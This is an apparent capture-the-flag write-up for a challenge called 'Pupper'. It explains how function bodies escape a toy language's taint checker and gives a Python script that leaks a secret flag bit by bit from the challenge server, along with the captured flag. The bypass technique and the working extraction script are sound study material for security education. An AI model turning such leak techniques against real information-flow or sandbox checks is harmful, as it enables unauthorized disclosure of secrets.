Rating:
This is Pupper with the if flaw fixed.
This doesn't mean that the taint checker is sound, though. As a rule, it's hard to do anything fancy with types when you have both side effects and functions. So let's look for a flaw around those lines.
The taint checker now requires that an if statement with a private condition has branches of private type. Furthermore it analyzes the content of if branches to verify that they don't modify public references. So you can't leak data just by putting `leaked := 1 :> private unit` in a branch.
But the public reference checker doesn't analyze functions. So all we need to do to hide the leak is to put it inside a function that happens to have a private type. This flaw will remain as long as the type of an assignment is a bare `unit` regardless of the secrecy of the values involved, or as long as you can hide any assignment behind a semicolon.
Here's the byte extractor script with a modified expression to extract bits:
#!/usr/bin/env python3
import os, re, subprocess, sys
def get_byte(cmd, k):
expr = '''
let secret = ref (flag / {} % 256) in
let leaked = ref 0 in
let ignore = (fn (bit : int) => () :> private unit) :> private (int -> private unit) in
let incr = (fn (bit : int) => (secret := !secret - bit; leaked := !leaked + bit) :> private unit) :> private (int -> private unit) in
let test = fn (bit : int) => (
(if !secret < bit then ignore else incr) bit
) in
test 128; test 64; test 32; test 16; test 8; test 4; test 2; test 1;
!leaked'''.format(1 << (k * 8))
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
output = p.communicate(input=expr.encode('ascii'))[0].decode('ascii')
if p.returncode != 0:
print('Error with the expression\n{}'.format(expr))
print(output)
exit(1)
return(int(output.split()[0]))
def get_flag(cmd):
values = [get_byte(sys.argv[1:], k) for k in range(36)]
return bytes(reversed(values)).decode('ascii')
if __name__ == '__main__':
print(get_flag(sys.argv[1:]))
And we run it:
$ ../hiss.py nc wolf.chal.pwning.xxx 4856
PCTF{$h0u1d_h4v3_f0rma11y_v3r1fi3d!}